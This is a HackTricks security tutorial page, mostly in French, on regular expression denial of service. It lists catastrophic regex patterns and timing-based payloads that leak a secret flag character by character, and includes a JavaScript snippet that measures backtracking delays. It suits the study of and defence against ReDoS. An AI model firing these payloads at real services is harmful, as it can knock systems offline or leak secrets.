Regular expression Denial of Service - ReDoS

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

{% endhint %}

Regular Expression Denial of Service (ReDoS)

Un Regular Expression Denial of Service (ReDoS) se produit lorsque quelqu'un profite des faiblesses dans le fonctionnement des expressions régulières (un moyen de rechercher et de faire correspondre des motifs dans du texte). Parfois, lorsque des expressions régulières sont utilisées, elles peuvent devenir très lentes, surtout si le morceau de texte avec lequel elles travaillent devient plus grand. Cette lenteur peut devenir si mauvaise qu'elle augmente très rapidement même avec de petites augmentations de la taille du texte. Les attaquants peuvent utiliser ce problème pour faire en sorte qu'un programme utilisant des expressions régulières cesse de fonctionner correctement pendant longtemps.

The Problematic Regex Naïve Algorithm

Check the details in https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

Evil Regexes

Un motif d'expression régulière malveillant est celui qui peut se bloquer sur une entrée conçue provoquant un DoS. Les motifs d'expressions régulières malveillants contiennent généralement des regroupements avec répétition et répétition ou alternance avec chevauchement à l'intérieur du groupe répété. Quelques exemples de motifs malveillants incluent :

(a+)+
([a-zA-Z]+)*
(a|aa)+
(a|a?)+
(.*a){x} pour x > 10

Tous ceux-ci sont vulnérables à l'entrée aaaaaaaaaaaaaaaaaaaaaaaa!.

ReDoS Payloads

String Exfiltration via ReDoS

Dans un CTF (ou bug bounty), peut-être que vous contrôlez la Regex avec laquelle une information sensible (le flag) est correspondue. Alors, il pourrait être utile de faire geler la page (timeout ou temps de traitement plus long) si la Regex correspond et pas si elle ne correspond pas. De cette façon, vous pourrez exfiltrer la chaîne caractère par caractère :

Dans ce post, vous pouvez trouver cette règle ReDoS : ^(?=<flag>)((.*)*)*salt$
Exemple : ^(?=HTB{sOmE_fl§N§)((.*)*)*salt$
Dans ce writeup, vous pouvez trouver celui-ci : <flag>(((((((.*)*)*)*)*)*)*)!
Dans ce writeup, il a utilisé : ^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$

ReDoS Controlling Input and Regex

Les exemples suivants sont des ReDoS où vous contrôlez à la fois l'entrée et la regex :

function check_time_regexp(regexp, text){
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$",   //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/

Outils

Références

{% hint style="success" %} Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Consultez les plans d'abonnement!
Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
Partagez des astuces de hacking en soumettant des PRs aux HackTricks et HackTricks Cloud dépôts github.